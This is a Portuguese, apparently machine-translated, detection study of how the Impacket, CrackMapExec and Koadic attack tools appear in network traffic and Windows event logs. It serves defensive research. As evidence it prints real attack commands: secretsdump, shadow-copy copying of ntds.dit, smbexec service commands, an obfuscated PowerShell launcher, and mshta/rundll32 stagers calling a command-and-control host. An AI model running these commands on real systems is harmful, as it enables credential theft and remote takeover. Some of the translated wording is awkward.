Como detectar ataques à infraestrutura do Windows: explorando ferramentas de hackers



O número de ataques no setor corporativo está crescendo a cada ano: por exemplo, em 2017, foram registrados 13% a mais de incidentes exclusivos do que em 2016 e até o final de 2018, 27% a mais de incidentes do que no período anterior. Incluindo aqueles em que a principal ferramenta de trabalho é o sistema operacional Windows. Em 2017-2018, os grupos APT Dragonfly, APT28 e APT MuddyWater atacaram organizações governamentais e militares na Europa, América do Norte e Arábia Saudita. E eles usaram três ferramentas para isso - Impacket , CrackMapExec e Koadic . O código fonte deles está aberto e disponível no GitHub.

Vale ressaltar que essas ferramentas não são usadas para penetração inicial, mas para o desenvolvimento de um ataque dentro da infraestrutura. Os atacantes os usam em diferentes estágios do ataque, depois de superar o perímetro. A propósito, isso é difícil de detectar e, muitas vezes, apenas com a ajuda de tecnologias para detectar traços de comprometimento no tráfego de rede ou em ferramentas que podem detectar as ações ativas de um invasor depois que ele penetra na infraestrutura . As ferramentas fornecem muitas funções - desde a transferência de arquivos até a interação com o registro e a execução de comandos em uma máquina remota. Realizamos um estudo dessas ferramentas para determinar a atividade da rede.

O que precisávamos fazer:

  • Entenda como as ferramentas de hackers funcionam . Descubra o que os atacantes precisam operar e quais tecnologias eles podem usar.
  • Encontre o que não é detectado pelas ferramentas de segurança da informação nos primeiros estágios de um ataque . O estágio de inteligência pode ser pulado, porque o invasor é um invasor interno ou porque explora uma lacuna na infraestrutura que não era conhecida anteriormente. Há uma oportunidade de restaurar toda a cadeia de suas ações, daí o desejo de detectar mais movimentos.
  • Elimine alarmes falsos das ferramentas de detecção de intrusão . Não devemos esquecer que, ao detectar determinadas ações apenas com base na inteligência, erros frequentes são possíveis. Geralmente, na infraestrutura, há um número suficiente de maneiras, indistinguíveis do legítimo à primeira vista, para obter qualquer informação.

O que essas ferramentas oferecem aos atacantes? Se for o Impacket, os atacantes obtêm uma grande biblioteca de módulos que podem ser usados ​​em diferentes estágios do ataque, depois de romper o perímetro. Muitas ferramentas usam os módulos Impacket dentro de si - por exemplo, Metasploit. Possui dcomexec e wmiexec para execução remota de comandos, secretsdump para recuperar contas da memória adicionada do Impacket. Como resultado, a detecção correta da atividade dessa biblioteca também será assegurada pela detecção de derivados.

Sobre o CrackMapExec (ou simplesmente o CME), os criadores, por acaso, escreveram "Powered by Impacket". Além disso, o CME possui funcionalidade pronta para cenários populares: é o Mimikatz para obter senhas ou seus hashes, e a implementação do Meterpreter ou do agente Empire para execução remota e Bloodhound a bordo.

A terceira ferramenta que selecionamos é o Koadic. É bastante recente, foi apresentado na conferência internacional de hackers DEFCON 25 em 2017 e tem uma abordagem não padrão: trabalhar via HTTP, Java Script e Microsoft Visual Basic Script (VBS). Essa abordagem é chamada de viver fora da terra: a ferramenta usa um conjunto de dependências e bibliotecas incorporadas ao Windows. Os criadores chamam de COM Command Control, ou C3.

IMPACKET


A funcionalidade do Impacket é muito ampla, começando pelo reconhecimento no AD e coletando dados dos servidores MS SQL internos, terminando com técnicas para obter credenciais: trata-se de um ataque de retransmissão SMB e recebe um arquivo ntds.dit contendo hashes de senha de usuário de um controlador de domínio. O Impacket também executa remotamente comandos usando quatro métodos diferentes: por meio do WMI, um serviço para gerenciar o agendador do Windows, DCOM e SMB, e para isso precisa de credenciais.

Secretsdump


Vamos dar uma olhada no segredo secreto. Este é um módulo cujo objetivo pode ser tanto máquinas de usuário quanto controladores de domínio. Com ele, é possível obter cópias das áreas de memória LSA, SAM, SECURITY, NTDS.dit, para que possam ser vistas em diferentes estágios do ataque. A primeira etapa na operação do módulo é a autenticação via SMB, que requer uma senha de usuário ou seu hash para conduzir automaticamente um ataque de Passe o Hash. A seguir, é apresentada uma solicitação para abrir o acesso ao Service Control Manager (SCM) e obter acesso ao registro usando o protocolo winreg, usando o qual um invasor pode descobrir os dados das filiais que lhe interessam e obter os resultados através do SMB.

Na fig. 1, vemos exatamente quando o acesso ao protocolo winreg é obtido pela chave de registro no LSA. Para fazer isso, use o comando DCERPC com opcode 15 - OpenKey.


Fig. 1. Abrindo a chave do registro usando o protocolo winreg

Além disso, quando o acesso à chave é obtido, os valores são salvos usando o comando SaveKey com o opcode 20. O Impacket torna isso muito específico. Ele salva os valores em um arquivo cujo nome é uma sequência de 8 caracteres aleatórios com a adição de .tmp. Além disso, o descarregamento adicional desse arquivo ocorre via SMB no diretório System32 (Fig. 2).


Fig. 2. Esquema para obter uma chave do Registro de uma máquina remota

Acontece que você pode detectar essa atividade na rede consultando determinadas ramificações do registro usando o protocolo winreg, nomes específicos, comandos e sua ordem.

Este módulo também deixa rastros no log de eventos do Windows, devido ao qual é facilmente detectado. Por exemplo, como resultado de um comando

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC 

no log do Windows Server 2016, veremos a seguinte sequência de eventos-chave:

1. 4624 - Logon remoto.
2. 5145 - verificação dos direitos de acesso ao serviço winreg remoto.
3. 5145 - verificando permissões de arquivo no diretório System32. O arquivo tem o nome aleatório mencionado acima.
4. 4688 - criando o processo cmd.exe que inicia o vssadmin:

 “C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

5. 4688 - criando um processo com o comando:

 "C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

6. 4688 - criando um processo com o comando:

 "C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\rmumAfcn.tmp ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

7. 4688 - criando um processo com o comando:

 "C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

Smbexec


Como muitas ferramentas de pós-exploração, o Impacket possui módulos para execução remota de comandos. Vamos nos concentrar no smbexec, que fornece um shell interativo em uma máquina remota. Este módulo também requer autenticação SMB com uma senha ou seu hash. Na fig. 3, vemos um exemplo de como essa ferramenta funciona, nesse caso, é um console do administrador local.


Fig. 3. Console Interativo Smbexec

A primeira etapa no smbexec após a autenticação é abrir o SCM com o comando OpenSCManagerW (15). A solicitação é digna de nota: nela, o campo MachineName está definido como DUMMY.


Fig. 4. Solicitação para abrir o Service Control Manager

Em seguida, um serviço é criado usando o comando CreateServiceW (12). No caso do smbexec, podemos ver a mesma lógica de criação de equipes a cada vez. Na fig. 5 verde indica os parâmetros invariáveis ​​do comando, amarelo - o que o atacante pode mudar. É fácil notar que o nome do arquivo executável, seu diretório e o arquivo de saída podem ser alterados, mas o restante pode ser alterado muito mais difícil sem violar a lógica do módulo Impacket.


Fig. 5. Solicite a criação de um serviço usando o Service Control Manager

O Smbexec também deixa rastros claros no log de eventos do Windows. No log do Windows Server 2016 para o shell interativo com o comando ipconfig, veremos a seguinte sequência de eventos:

1. 4697 - instalação do serviço na máquina da vítima:

 %COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

2. 4688 - criação do processo cmd.exe com os argumentos do parágrafo 1.
3. 5145 - verificando permissões no arquivo __output no diretório C $.
4. 4697 - instalação do serviço na máquina da vítima.

 %COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

5. 4688 - criando o processo cmd.exe com os argumentos do parágrafo 4.
6. 5145 - verificando os direitos de acesso ao arquivo __output no diretório C $.

Impacket é a base para o desenvolvimento de ferramentas de ataque. Ele suporta quase todos os protocolos na infraestrutura do Windows e, ao mesmo tempo, possui características próprias. Aqui estão solicitações winreg específicas e o uso da API SCM com a formação característica de comandos, o formato do nome do arquivo e o compartilhamento SMB SYSTEM32.

CRACKMAPEXEC


A ferramenta CME foi projetada principalmente para automatizar as ações rotineiras que um invasor deve executar para avançar na rede. Ele permite que você trabalhe em conjunto com o famoso agente Empire e o Meterpreter. Para executar comandos secretamente, o CME pode ofuscá-los. Usando o Bloodhound (uma ferramenta de inteligência separada), um invasor pode automatizar a busca por uma sessão de administrador de domínio ativa.

Bloodhound


Bloodhound como uma ferramenta independente permite inteligência avançada dentro da rede. Ele coleta dados sobre usuários, máquinas, grupos, sessões e vem na forma de um script no PowerShell ou de um arquivo binário. Protocolos baseados em LDAP ou SMB são usados ​​para coletar informações. O módulo de integração do CME permite fazer o download do Bloodhound na máquina da vítima, executar e receber os dados coletados após a execução, automatizando ações no sistema e tornando-as menos visíveis. O shell gráfico Bloodhound apresenta os dados coletados na forma de gráficos, o que permite encontrar o caminho mais curto da máquina atacante para o administrador do domínio.


Fig. 6. interface Bloodhound

Para executar na máquina da vítima, o módulo cria uma tarefa usando ATSVC e SMB. O ATSVC é uma interface para trabalhar com o Agendador de tarefas do Windows. O CME usa sua função NetrJobAdd (1) para criar tarefas pela rede. Um exemplo do que o módulo CME envia é mostrado na fig. 7: Esta é uma chamada para o cmd.exe e o código oculto como argumentos no formato XML.


Fig. 7. Criando uma tarefa através do CME

Após a conclusão da tarefa, a máquina da vítima lança o próprio Bloodhound, e isso pode ser visto no trânsito. O módulo é caracterizado por consultas LDAP para receber grupos padrão, uma lista de todas as máquinas e usuários no domínio, recebendo informações sobre sessões de usuários ativos por meio da solicitação SRVSVC NetSessEnum.


Fig. 8. Obtendo uma lista de sessões ativas via SMB

Além disso, o lançamento do Bloodhound na máquina da vítima com auditoria ativada é acompanhado por um evento com o ID 4688 (criação do processo) e o nome do processo «C:\Windows\System32\cmd.exe» . Dignos de nota são os argumentos da linha de comando:

 cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) " 

Enum_avproducts


Do ponto de vista da funcionalidade e implementação, o módulo enum_avproducts é muito interessante. O WMI permite usar a linguagem de consulta WQL para receber dados de vários objetos do Windows, que é essencialmente o que esse módulo CME usa. Ele gera solicitações para as classes AntiSpywareProduct e AntiMirusProduct sobre as proteções instaladas na máquina da vítima. Para obter os dados necessários, o módulo se conecta ao namespace root \ SecurityCenter2, gera uma consulta WQL e recebe uma resposta. Na fig. A Figura 9 mostra o conteúdo de tais solicitações e respostas. No nosso exemplo, o Windows Defender foi encontrado.


Fig. 9. Atividade de rede do módulo enum_avproducts

Freqüentemente, a auditoria WMI (Trace WMI-Activity), nos eventos em que você pode encontrar informações úteis sobre consultas WQL, pode ser desativada. Mas, se estiver ativado, se o script enum_avproducts for executado, o evento com o ID 11. será salvo e conterá o nome do usuário que enviou a solicitação e o nome no espaço para nome \ SecurityCenter2 raiz.

Cada um dos módulos do CME revelou seus próprios artefatos, sejam consultas WQL específicas ou a criação de um determinado tipo de tarefa no agendador de tarefas com ofuscação e a atividade típica do Bloodhound no LDAP e SMB.

Koadic


Um recurso distintivo do Koadic é o uso de intérpretes internos do Windows JavaScript e VBScript. Nesse sentido, segue a tendência de viver fora da terra - ou seja, não possui dependências externas e usa ferramentas padrão do Windows. Esta é uma ferramenta para comando e controle completo (CnC), pois após a infecção, um "implante" é instalado na máquina, o que permite que seja controlado. Tal máquina, na terminologia Koadic, é chamada de "zumbi". Com a falta de privilégios para o trabalho completo do lado da vítima, Koadic tem a capacidade de aumentá-las usando a técnica de desvio do UAC.


Fig. 10. Shell de Comando Koadic

A vítima deve iniciar a comunicação com o próprio servidor Command & Control. Para fazer isso, ela precisa solicitar um URI pré-preparado e obter o corpo Koadic principal usando um dos estágios. Na fig. 11 mostra um exemplo para o mshta stager.


Fig. 11. Inicializando uma sessão com um servidor CnC

Usando a variável de resposta WS, fica claro que a execução ocorre através do WScript.Shell e as variáveis ​​STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contêm informações importantes sobre os parâmetros da sessão atual. Este é o primeiro par de solicitação-resposta em uma conexão HTTP com um servidor CnC. Os pedidos subsequentes estão diretamente relacionados à funcionalidade dos módulos chamados (implantes). Todos os módulos Koadic funcionam apenas com uma sessão ativa com o CnC.

Mimikatz


Assim como o CME trabalha com Bloodhound, o Koadic trabalha com o Mimikatz como um programa independente e tem várias maneiras de executá-lo. Abaixo está um par de solicitação-resposta para carregar um implante Mimikatz.


Fig. 12. Transferência de Mimikatz para Koadic

Você pode perceber como o formato URI na solicitação foi alterado. Nele apareceu o valor da variável csrf, responsável pelo módulo selecionado. Não preste atenção no nome dela; todos sabemos que o CSRF é geralmente entendido de maneira diferente. Em resposta, o mesmo corpo principal de Koadic entrou, no qual o código associado ao Mimikatz foi adicionado. É grande o suficiente, então considere os pontos principais. À nossa frente está a biblioteca Mimikatz codificada em base64, a classe .NET serializada que o injetará e os argumentos para executar o Mimikatz. O resultado da execução é transmitido pela rede de forma clara.


Fig. 13. O resultado da execução do Mimikatz em uma máquina remota

Exec_cmd


O Koadic também possui módulos que podem executar comandos remotamente. Aqui veremos o mesmo método de geração de URIs e as variáveis ​​familiares sid e csrf. No caso do módulo exec_cmd, o código é adicionado ao corpo que é capaz de executar comandos do shell. O código a seguir é mostrado na resposta HTTP do servidor CnC.


Fig. 14. O código do implante exec_cmd

A variável GAWTUUGCFI com o atributo WS familiar é necessária para a execução do código. Com sua ajuda, o implante chama o shell, processando duas ramificações do código - shell.exec com o retorno do fluxo de dados de saída e o shell.run sem retornar.

O Koadic não é uma ferramenta típica, mas possui seus próprios artefatos pelos quais pode ser encontrado no tráfego legítimo:

  • formação especial de solicitações HTTP,
  • usando a API winHttpRequests,
  • criando um objeto WScript.Shell por meio do ActiveXObject,
  • grande corpo executável.

A conexão inicial inicia o stager, tornando possível detectar sua atividade através de eventos do Windows. Para mshta, este é o evento 4688, que fala sobre a criação de um processo com um atributo de inicialização:

 C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6 

Durante a execução do Koadic, você pode ver outros 4688 eventos com atributos que o caracterizam perfeitamente:

 rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;\..\..\..\mshtml,RunHTMLApplication rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;\..\..\..\mshtml,RunHTMLApplication "C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1 "C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1 

Conclusões


A tendência de viver fora da terra está ganhando popularidade entre os invasores. Eles usam as ferramentas e mecanismos internos do Windows para suas necessidades. Vemos como as populares ferramentas Koadic, CrackMapExec e Impacket que seguem esse princípio são cada vez mais encontradas nos relatórios do APT. O número de garfos no GitHub para essas ferramentas também está crescendo, novos aparecem (agora já existem cerca de mil). A tendência está ganhando popularidade devido à sua simplicidade: os invasores não precisam de ferramentas de terceiros, eles já estão nas máquinas das vítimas e ajudam a desviar das ferramentas de proteção. Nosso foco é estudar a conectividade de rede: cada ferramenta descrita acima deixa sua marca no tráfego de rede; um estudo detalhado deles nos permitiu ensinar nosso produto PT Network Attack Discovery a detectá-los, o que ajuda a investigar toda a cadeia de incidentes cibernéticos que os envolvem.

Autores :

  • Anton Tyurin, Chefe de Serviços Especializados, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, especialista, PT Expert Security Center, Positive Technologies

Source: https://habr.com/ru/post/pt460517/


All Articles